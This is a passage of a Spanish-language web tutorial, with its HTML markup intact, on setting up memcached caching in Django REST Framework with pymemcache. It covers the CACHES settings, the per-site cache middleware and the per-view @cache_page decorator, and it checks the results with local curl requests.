&lt;strong&gt;memcached almacena los datos en memoria, estos se borrarán cuando el sistema se apague o se reinicie&lt;/strong&gt;. Por lo anterior debes asegurarte de usar memcached solo como un almacenamiento temporal y guardar ahí contenido que no te importaría perder o que pienses vaciar posteriormente a una base de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-pymemcache&#34;&gt;Instalación de pymemcache&lt;/h2&gt;&#xA;&lt;p&gt;Voy a instalar las siguientes dependencias para este tutorial:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;djangorestframework: para la creación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;APIs de tipo REST&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;django-debug-toolbar: para comparar el rendimiento antes y después de la caché.&lt;/li&gt;&#xA;&lt;li&gt;django-seed: para crear datos, de manera automática, en la base de datos.&lt;/li&gt;&#xA;&lt;li&gt;pymemcache: para que python pueda interactuar con memcached.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Algunos tutoriales más antiguos &lt;strong&gt;usan python-memcached para interactuar con memcached, sin embargo el uso de esta librería está&lt;/strong&gt; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/cache/#memcached&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;desaconsejado&lt;/strong&gt; por django desde su version 3.2.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework django-debug-toolbar django django-seed pymemcache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ya que tengamos las aplicaciones instaladas y configuradas vamos a empezar a aplicar caché. Agregamos la siguientes lineas a nuestro archivo de configuración.&lt;/p&gt;&#xA;&lt;p&gt;Puedes usar django-seed para llenar las tablas de tu base de datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py seed nombreDeTuApp --number&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;configurar-la-variable-caches-en-django&#34;&gt;Configurar la variable CACHES en django&lt;/h2&gt;&#xA;&lt;p&gt;Para configurar el comportamiento de la caché crearemos una variable llamada CACHES, donde especificaremos el backend que queremos usar y su ubicación. En este caso será el localhost, con el puerto 11211; el puerto predeterminado para memcached.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;CACHES&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.PyMemcacheCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;CACHES cuenta con más variables de configuración que listaré a continuación:&lt;/p&gt;&#xA;&lt;h3 id=&#34;argumentos-de-la-variable-de-configuracion-caches&#34;&gt;Argumentos de la variable de configuración CACHES&lt;/h3&gt;&#xA;&lt;p&gt;CACHES puede recibir una serie de argumentos para modificar su comportamiento:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TIMEOUT: El tiempo que dura la caché, &lt;em&gt;None&lt;/em&gt; para que nunca expire, su valor predeterminado es de 300 segundos&lt;/li&gt;&#xA;&lt;li&gt;MAX_ENTRIES: El número de entradas que guarda la caché, si se excede la caché más vieja se irá eliminando para guardar la caché más nueva, el valor por defecto es de 300.&lt;/li&gt;&#xA;&lt;li&gt;CULL_FREQUENCY: La proporción de entradas que se elimina cuando MAX_ENTRIES es alcanzada. Si este valor es igual a 2, se eliminarán la mitad de las entradas cuando lleguemos al valor de MAX_ENTRIES. Si le pones un valor de 0 se eliminará toda la caché cuando lleguemos al valor de MAX_ENTRIES. Por defecto vale 3.&lt;/li&gt;&#xA;&lt;li&gt;KEY_PREFIX: Un prefijo que se le agrega al nombre de la caché, sirve para identificar nuestra caché. Esto para evitar colisiones con otras aplicaciones que estén usando la caché, o simplemente para identificarla.&lt;/li&gt;&#xA;&lt;li&gt;VERSION: La versión con la que queremos nombrar a nuestra caché.&lt;/li&gt;&#xA;&lt;li&gt;KEY_FUNCTION: aquí le podemos pasar una cadena que especifique la dirección a una función que establezca el prefijo, la versión y la clave con la que se guardará la caché. Por ejemplo: &amp;lsquo;cacheConfig.generadorDeNombresDeCache&amp;rsquo;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;CACHES&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.PyMemcacheCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;TIMEOUT&amp;#39;&lt;/span&gt;: 60,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;MAX_ENTRIES&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;poner-en-cache-todo-el-sitio-web&#34;&gt;Poner en caché todo el sitio web&lt;/h2&gt;&#xA;&lt;p&gt;Para poner en caché todo el sitio web de Django, basta con agregar dos middlewares:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;django.middleware.cache.UpdateCacheMiddleware&lt;/li&gt;&#xA;&lt;li&gt;django.middleware.cache.FetchFromCacheMiddleware&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Asegúrate de que &lt;em&gt;django.middleware.cache.UpdateCacheMiddleware&lt;/em&gt; sea el primer middleware de tu lista y &lt;em&gt;django.middleware.cache.FetchFromCacheMiddleware&lt;/em&gt; el último.&lt;/p&gt;&#xA;&lt;p&gt;De la misma manera tiene que estar activo dja_ngo.middleware.common.CommonMiddleware_.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mientras estos middlewares estén activos, Django pondrá en caché cualquier página que reciba métodos GET y HEAD&lt;/strong&gt; y que devuelva un estado HTTP de 200.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.cache.UpdateCacheMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.cache.FetchFromCacheMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si examinas una petición verás que el header o cabecera &lt;em&gt;Cache-Control&lt;/em&gt; ya especifica un valor de &lt;em&gt;max-age=600&lt;/em&gt;, el valor por defecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;i &lt;span style=&#34;color:#ff9f43&#34;&gt;127.0.0.1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; less&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;Control: &lt;span style=&#34;color:#ff5c57&#34;&gt;max&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;600&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si en lugar de usar la terminal entramos al navegador, veremos como la &lt;em&gt;django_debug_toolbar&lt;/em&gt; ya nos muestra que la caché está siendo usada.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/CacheDebugToolBar.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/images/CacheDebugToolBar.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django_debug_toolbar con caché y sin caché, comparación.&#34; width=&#34;424&#34; height=&#34;1022&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Mira como en la columna caché, ya nos aparecen dos llamadas.&lt;/p&gt;&#xA;&lt;p&gt;También te mencionó que la caché por sitio de Django no es compatible con la &lt;em&gt;django-debug-toolbar&lt;/em&gt;, por lo que probablemente no la veas reflejada en la barra.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cache-por-vista-de-django&#34;&gt;Caché por vista de django&lt;/h2&gt;&#xA;&lt;p&gt;¿Pero y si no quieres poner en caché todo el sitio web? La mayoría de los sitios web son mezclas de páginas dinámicas con páginas estáticas. Probablemente solo quieras dejar las páginas estáticas, o que cambian muy poco, en caché y asegurarte de que tu usuario reciba las páginas dinámicas con contenido actualizado. Es decir, solo ciertas vistas deberían estar caché.&lt;/p&gt;&#xA;&lt;p&gt;Para colocar en caché el resultado de una vista basta con que utilices el decorador &lt;em&gt;@cache_page&lt;/em&gt; que provee django y le pases el tiempo que quieres que django almacene la caché, en segundos, para esa vista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.utils.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; method_decorator&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; serializers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; viewsets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; ..models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .serializers &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelViewSet):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    serializer_class &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)) &lt;span style=&#34;color:#78787e&#34;&gt;# 7200 segundos o 2 horas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;list(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como he usado el decorador en el método &lt;em&gt;list()&lt;/em&gt; de nuestro &lt;em&gt;ModelViewSet&lt;/em&gt; y, para que ejecute su función normal, he llamado al método &lt;em&gt;super()&lt;/em&gt; con los mismos argumentos.&lt;/p&gt;&#xA;&lt;p&gt;También puedes cachear el método &lt;em&gt;dispatch()&lt;/em&gt; para una solución que aplique a las clases genéricas más usadas de DRF.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelViewSet):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    serializer_class &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;dispatch&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;(VideogameViewSet, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dispatch(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ejecutamos el comando &lt;em&gt;curl&lt;/em&gt; sobre la vista a la que le agregamos el decorador, veremos que ya aparece la cabecera cache-control con el tiempo que le pasamos como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -i http://127.0.0.1:8000/videogames/videogames/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt; Aug &lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt; 00:45:57 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server: WSGIServer/0.2 CPython/3.9.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Vary: Accept, Cookie&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Allow: GET, POST, HEAD, OPTIONS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Expires: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt; Aug &lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt; 02:45:57 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache-Control: max-age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Frame-Options: DENY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length: &lt;span 